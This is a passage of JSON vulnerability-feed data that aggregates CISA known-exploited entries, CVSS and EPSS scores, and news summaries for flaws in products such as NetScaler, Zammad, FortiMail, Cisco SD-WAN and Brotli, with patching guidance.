guidelines.","publishedAt":"2026-10-04","updatedAt":null,"regions":["Global"],"vendor":"Citrix","product":"NetScaler","stacks":["Citrix NetScaler","Citrix","NetScaler"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-04","dueAt":"2026-10-07","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-88779","asOf":"2026-10-04T02:35:35.525Z"},"epss":{"probability":0.11388,"percentile":0.95963,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-88779&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-88779","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-04","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-88779 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-88779&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-88779, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA NetScaler","url":"https://cveawg.mitre.org/api/cve/CVE-2026-88779","type":"primary","publishedAt":"2026-10-04T02:35:35.525Z","checkedAt":"2026-10-26T14:11:55.600Z","supports":"The published CVE-2026-88779 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:11:55.600Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102489","cveId":"CVE-2026-102489","aliases":[],"kind":"vulnerability","title":"Zammad GmbH Zammad Session Fixation Vulnerability","summary":"Zammad GmbH Zammad contains a session fixation vulnerability that can lead to remote code execution as the zammad user. This vulnerability can be chained with CVE-2026-102490.","detail":"CISA added this entry on 2026-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-02","updatedAt":null,"regions":["Global"],"vendor":"Zammad GmbH","product":"Zammad","stacks":["Zammad GmbH","Zammad"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-02","dueAt":"2026-10-05","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:A/AU:Y/V:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-102489","asOf":"2026-10-19T09:10:59.656Z"},"epss":{"probability":0.01955,"percentile":0.80134,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102489&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-102489","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-102489 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102489&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102489, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA DIVD","url":"https://cveawg.mitre.org/api/cve/CVE-2026-102489","type":"primary","publishedAt":"2026-09-30T16:21:19.937Z","checkedAt":"2026-10-26T14:31:00.258Z","supports":"The published CVE-2026-102489 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:31:00.258Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-102490","cveId":"CVE-2026-102490","aliases":[],"kind":"vulnerability","title":"Zammad GmbH Zammad Improper Privilege Management Vulnerability","summary":"Zammad GmbH Zammad contains an improper privilege management vulnerability that can allow the local zammad user to escalate privileges to root. This vulnerability can be chained with CVE-2026-102489.","detail":"CISA added this entry on 2026-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-02","updatedAt":null,"regions":["Global"],"vendor":"Zammad GmbH","product":"Zammad","stacks":["Zammad GmbH","Zammad"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-02","dueAt":"2026-10-05","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.5,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:A/AU:Y/V:D","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-102490","asOf":"2026-10-08T19:55:53.033Z"},"epss":{"probability":0.00857,"percentile":0.58162,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-102490&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-102490","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-02","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-102490 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-102490&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-102490, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA DIVD","url":"https://cveawg.mitre.org/api/cve/CVE-2026-102490","type":"primary","publishedAt":"2026-09-30T16:21:20.601Z","checkedAt":"2026-10-26T14:31:00.258Z","supports":"The published CVE-2026-102490 document's CNA supplies this CVSS 4.0 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:31:00.258Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104286","cveId":"CVE-2026-104286","aliases":[],"kind":"vulnerability","title":"Fortinet FortiMail Path Traversal Vulnerability","summary":"Fortinet FortiMail contains a path traversal and an improper neutralization of NULL byte or NULL character vulnerability that may allow an unauthenticated attacker to write arbitrary files on the underlying system via crafted HTTP or HTTPS requests.","detail":"CISA added this entry on 2026-10-01. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-10-01","updatedAt":null,"regions":["Global"],"vendor":"Fortinet","product":"FortiMail","stacks":["Fortinet","FortiMail"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-10-01","dueAt":"2026-10-04","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-104286","asOf":"2026-10-07T12:55:36.574Z"},"epss":{"probability":0.04573,"percentile":0.91553,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104286&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-104286","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-10-01","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-104286 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104286&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104286, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA fortinet","url":"https://cveawg.mitre.org/api/cve/CVE-2026-104286","type":"primary","publishedAt":"2026-10-01T19:17:38.938Z","checkedAt":"2026-10-26T14:31:00.258Z","supports":"The published CVE-2026-104286 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:31:00.258Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-76504","cveId":"CVE-2026-76504","aliases":[],"kind":"vulnerability","title":"Cisco Catalyst SD-WAN Manager Hex Encoding Vulnerability","summary":"Cisco Catalyst SD-WAN Manager contains a hex encoding vulnerability that could allow an unauthenticated, remote attacker to access an affected system with privileges of the admin user due to improper handling of URI encoding in an HTTP request.","detail":"CISA added this entry on 2026-09-30. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-30","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Catalyst SD-WAN Manager","stacks":["Cisco","Catalyst SD-WAN Manager"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-30","dueAt":"2026-10-03","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-76504","asOf":"2026-10-02T23:23:29.275Z"},"epss":{"probability":0.38928,"percentile":0.98579,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-76504&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-76504","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-30","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-76504 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-76504&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-76504, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program CNA cisco","url":"https://cveawg.mitre.org/api/cve/CVE-2026-76504","type":"primary","publishedAt":"2026-09-30T13:04:32.095Z","checkedAt":"2026-10-26T14:31:00.258Z","supports":"The published CVE-2026-76504 document's CNA supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:31:00.258Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-86950","cveId":"CVE-2026-86950","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Out-of-Bounds Write Vulnerability","summary":"Apple iOS, macOS, and iPadOS contain an out-of-bounds write vulnerability in CoreGraphics that may lead to arbitrary code execution.","detail":"CISA added this entry on 2026-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","publishedAt":"2026-09-29","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2026-09-29","dueAt":"2026-10-13","action":"Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://cveawg.mitre.org/api/cve/CVE-2026-86950","asOf":"2026-10-01T17:15:57.969Z"},"epss":{"probability":0.26166,"percentile":0.9798,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86950&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2026-86950","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2026-09-29","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2026-86950 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86950&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86950, scored 2026-10-25. This is a model estimate, not proof of exposure."},{"name":"CVE Program ADP assessment CISA-ADP","url":"https://cveawg.mitre.org/api/cve/CVE-2026-86950","type":"primary","publishedAt":"2026-09-28T19:13:52.603Z","checkedAt":"2026-10-26T14:31:00.258Z","supports":"The published CVE-2026-86950 document's ADP assessment supplies this CVSS 3.1 base score, vector, and authoritative source update date."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:31:00.258Z","reviewedAt":null},"reviewed":false},{"id":"securityweek-attackers-exploit-third-velocloud-orchestrator-zero-day-in-four-months-5912abcc55ab","cveId":null,"aliases":[],"kind":"vulnerability","title":"Attackers Exploit Third Arista VCO Zero-Day in Four Months","summary":"The critical-severity SQL injection flaw allows attackers to access privileged internal functionality and gain operator privileges.\n\n The post Attackers Exploit Third Arista VCO Zero-Day in Four Months appeared first on SecurityWeek .","detail":"The critical-severity SQL injection flaw allows attackers to access privileged internal functionality and gain operator privileges.\n\n The post Attackers Exploit Third Arista VCO Zero-Day in Four Months appeared first on SecurityWeek .\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary advisory it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-23T09:58:34.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["Arista"],"knownExploited":true,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"SecurityWeek: Attackers Exploit Third Arista VCO Zero-Day in Four Months","url":"https://www.securityweek.com/attackers-exploit-third-velocloud-orchestrator-zero-day-in-four-months/","type":"reporting","publishedAt":"2026-10-23T09:58:34.000Z","checkedAt":"2026-10-26T14:20:56.028Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"SecurityWeek syndication feed","url":"https://www.securityweek.com/feed/","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T14:20:56.028Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:20:56.028Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-arista-warns-of-critical-velocloud-sql-5a3446099074","cveId":null,"aliases":[],"kind":"vulnerability","title":"Arista Warns of Critical VeloCloud SQL Injection Zero-Day Exploited in Attacks","summary":"Attackers are exploiting a zero-day SQL injection flaw in Arista's VeloCloud Orchestrator (VCO), the central management system for VeloCloud SD-WAN networks, the company said in an advisory on October 22.\n\nThe flaw lets anyone who can log in to the orchestrator, even with a read-only customer account, gain operator privileges, the top level of control over it.\n\nFor","detail":"Attackers are exploiting a zero-day SQL injection flaw in Arista's VeloCloud Orchestrator (VCO), the central management system for VeloCloud SD-WAN networks, the company said in an advisory on October 22.\n\nThe flaw lets anyone who can log in to the orchestrator, even with a read-only customer account, gain operator privileges, the top level of control over it.\n\nFor\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary disclosure it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-22T19:05:17.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["Arista"],"knownExploited":true,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: Arista Warns of Critical VeloCloud SQL Injection Zero-Day Exploited in Attacks","url":"https://thehackernews.com/2026/10/arista-warns-of-critical-velocloud-sql.html","type":"reporting","publishedAt":"2026-10-22T19:05:17.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T18:50:55.505Z","reviewedAt":null},"reviewed":false},{"id":"thehackernews-attackers-abuse-updraftcentral-keys-to-f0182a53b406","cveId":null,"aliases":[],"kind":"vulnerability","title":"Attackers Abuse UpdraftCentral Keys to Plant Backdoors on WordPress Sites","summary":"Unknown threat actors breached TeamUpdraft's website and potentially gained unauthorized access to customers' connection keys for UpdraftCentral, UpdraftVault, and UpdraftClone, using them to backdoor WordPress sites.\n\nTeamUpdraft is the developer behind UpdraftPlus, a popular WordPress backup plugin with over four million active installations. The vendor also offers UpdraftCentral, a remote","detail":"Unknown threat actors breached TeamUpdraft's website and potentially gained unauthorized access to customers' connection keys for UpdraftCentral, UpdraftVault, and UpdraftClone, using them to backdoor WordPress sites.\n\nTeamUpdraft is the developer behind UpdraftPlus, a popular WordPress backup plugin with over four million active installations. The vendor also offers UpdraftCentral, a remote\n\nSyndicated reporting, unreviewed by KEVWire and not independently primary-confirmed. Consult the exact article and any primary advisory it links.","action":"Check the vendor advisory linked from the article for affected versions and fixes.","publishedAt":"2026-10-21T09:01:12.000Z","updatedAt":null,"regions":["Global"],"vendor":null,"product":null,"stacks":["WordPress"],"knownExploited":true,"zeroDay":null,"kev":null,"metrics":{"cvss":null,"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"The Hacker News: Attackers Abuse UpdraftCentral Keys to Plant Backdoors on WordPress Sites","url":"https://thehackernews.com/2026/10/attackers-abuse-updraftcentral-keys-to.html","type":"reporting","publishedAt":"2026-10-21T09:01:12.000Z","checkedAt":"2026-10-26T14:45:57.368Z","supports":"The article reports exploitation in the wild (attempted or successful). It is reporting, not independently primary-confirmed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T14:45:57.368Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111497","cveId":"CVE-2026-111497","aliases":["Node2Shell"],"kind":"vulnerability","title":"Researchers Demonstrate Node2Shell RCE Exploit on Node.js Build Using Crafted Brotli Data","summary":"A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\n\n\n\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.","detail":"A buffer overflow vulnerability in the Brotli decoder (c/dec/decode.c) in Google Brotli versions 1.0.3 through 1.2.0 on all platforms allows a remote unauthenticated attacker to corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code using a crafted Brotli-compressed stream.\n\n\n\n\n\nUsers need to update any Brotli libraries or binaries between 1.0.3 through 1.2.0 to the latest available version: 1.0.10 or 1.1.1 or 1.2.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T14:17:37.190Z","updatedAt":"2026-10-26T18:17:36.103Z","regions":["Japan","Global"],"vendor":null,"product":null,"stacks":["Node.js"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111497","asOf":"2026-10-26T18:17:36.103Z"},"epss":{"probability":0.32782,"percentile":0.98336,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111497&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111497","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111497","type":"primary","publishedAt":"2026-10-22T14:17:37.190Z","checkedAt":"2026-10-26T18:20:57.477Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T16:51:02.326Z&lastModEndDate=2026-10-26T18:20:57.477Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:20:57.477Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"JPCERT/CC Japan Advisories: Security alert: Out-of-bounds write vulnerability in the C implementation of Brotli (CVE-2026-111497) (published)","url":"https://www.jpcert.or.jp/at/2026/at260034.html","type":"primary","publishedAt":"2026-10-26T07:25:00.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"Exact official article/advisory identified by the feed; title, source dates, and any supplied article excerpt."},{"name":"JPCERT/CC Japan Advisories syndication feed","url":"https://www.jpcert.or.jp/rss/jpcert.rdf","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The RSS/Atom/RDF entry supplied this exact link and any available title, date, and excerpt."},{"name":"The Hacker News: Researchers Demonstrate Node2Shell RCE Exploit on Node.js Build Using Crafted Brotli Data","url":"https://thehackernews.com/2026/10/researchers-demonstrate-node2shell-rce.html","type":"reporting","publishedAt":"2026-10-23T08:40:43.000Z","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The article reports this vulnerability. It is reporting, not independently primary-confirmed or locally reviewed."},{"name":"The Hacker News syndication feed","url":"https://feeds.feedburner.com/TheHackersNews","type":"reporting","publishedAt":null,"checkedAt":"2026-10-26T18:50:55.505Z","supports":"The 